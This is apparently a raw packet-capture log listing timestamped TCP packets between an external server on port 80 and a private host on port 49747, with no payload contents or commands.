Dec 18, 2024 20:56:44.944900036 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.945873022 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.945885897 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.945924997 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.946711063 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.946722984 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.946733952 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.946759939 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.946826935 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.947567940 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.947581053 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.947628021 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.948510885 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.948523045 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.948560953 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.949460030 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.949472904 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.949512959 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.950310946 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.950323105 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.950361967 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.969856024 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.970119953 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.970132113 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.970189095 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.970834017 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.970880032 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.971148014 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.971596003 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.971607924 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.971643925 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.972373962 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.972398043 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.972424984 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.973284006 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.973328114 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.973581076 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.973593950 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.973638058 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.974519968 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.974531889 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.974570990 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.975416899 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.975430012 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.975480080 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.976269960 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.976290941 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.976368904 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.977189064 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.977201939 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.977212906 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.977236032 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.978142977 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.978156090 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.978370905 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.979020119 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.979032040 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.979079962 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.979948997 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.979960918 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.980004072 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.980765104 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.980784893 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.980803013 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.980842113 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.980853081 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.981803894 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.981817007 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.981868982 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.982573986 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.982587099 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.982636929 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.986620903 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.987216949 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.987229109 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.987274885 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.987852097 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.987874031 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.987910032 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.988812923 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.988864899 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.989948988 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.989968061 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.990010977 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.990947008 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.990958929 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.991017103 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.991790056 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.991801977 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.991844893 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.992846012 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.993561029 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.993572950 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.993608952 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.994537115 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.994556904 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.994647980 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.995400906 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.995424032 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.995450974 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.996244907 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.996263981 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.996287107 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.997163057 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.997174025 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.997210979 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.998214006 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.998225927 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.998267889 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.998925924 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.998944998 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.998980045 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.999903917 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.999924898 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.999943972 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.000761986 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.000775099 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.000808954 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.001619101 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.001631975 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.001661062 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.001666069 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.001698017 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.002580881 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.002589941 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.002628088 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.003480911 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.003493071 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.003549099 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.004345894 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.004359961 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.004399061 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.130747080 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.131170988 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.131184101 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.131223917 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.132052898 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.132102013 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.132503986 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.132517099 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.132558107 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.133382082 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.133394957 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.133434057 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.134140015 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.134154081 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.134191990 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.134860039 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.135225058 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.135236979 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.135268927 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.136327982 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.136339903 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.136365891 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.137209892 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.137249947 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.137254000 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.138115883 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.138128996 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.138159990 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.139024973 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.139069080 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.139069080 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.139081955 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.139122963 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.139833927 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.139847040 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.139885902 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.140803099 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.140821934 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.140860081 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.141684055 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.141695976 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.141735077 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.142503977 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.142532110 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.142571926 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.143368959 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.143382072 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.143393040 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.143419027 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.144366980 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.144416094 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.162271023 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.162489891 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.162503004 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.162581921 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.163258076 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.163307905 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.163688898 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.163702965 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.163738966 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.164513111 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.164521933 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.164568901 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.165375948 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.165735006 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.165747881 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.165785074 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.166594028 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.166615009 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.166636944 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.167552948 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.167566061 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.167598963 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.168411016 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.168425083 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.168459892 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.169389009 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.169404030 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.169414997 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.169431925 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.169455051 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.170219898 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.170272112 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.170326948 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.171175003 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.171188116 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.171227932 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.172081947 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.172096014 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.172127962 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.172897100 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.172911882 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.172957897 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.173800945 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.173815012 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.173826933 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.173850060 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.174752951 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.174767017 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.174776077 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.174814939 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.178749084 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.179013014 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.179028034 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.179065943 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.179759026 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.179785967 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.179806948 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.180675030 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.180721998 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.181014061 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.181375027 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.181387901 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.181421041 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.182292938 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.182305098 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.182332039 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.183265924 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.183324099 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.183367968 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.184154987 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.184171915 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.184201956 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.184916019 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.184931040 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.184957027 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.185811043 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.185826063 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.185837984 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.185858965 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.185868979 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.186702967 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.186716080 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.186752081 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.187680960 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.187695026 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.187731028 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.188635111 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.188648939 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.188687086 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.189434052 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.189481974 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.189519882 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.190340042 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.190354109 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.190365076 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.190395117 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.191468954 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.191483021 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.191519022 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.192435980 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.192450047 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.192481041 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.193263054 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.193276882 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.193306923 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.194113016 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.194127083 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.194139004 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.194160938 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.194175005 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.322314024 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.322535038 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.322575092 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.322587967 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.323044062 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.323059082 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.323164940 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.323878050 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.323890924 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.323928118 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.324759960 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.324973106 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.325045109 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.325064898 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.325107098 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.325930119 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.325951099 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.325993061 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.326853991 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.326868057 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.326905966 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.327507973 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.327521086 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.327565908 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.328408957 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.328423023 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.328469992 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.329293013 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.329307079 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.329346895 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.330200911 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.330214024 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.330255985 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.331094980 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.331109047 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.331120014 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.331165075 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.332003117 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.332016945 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.332063913 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.332933903 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.332947969 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.332973003 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.333784103 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.333797932 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.333830118 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.334721088 CET	80	49747	185.185.71.170	192.168.2.3
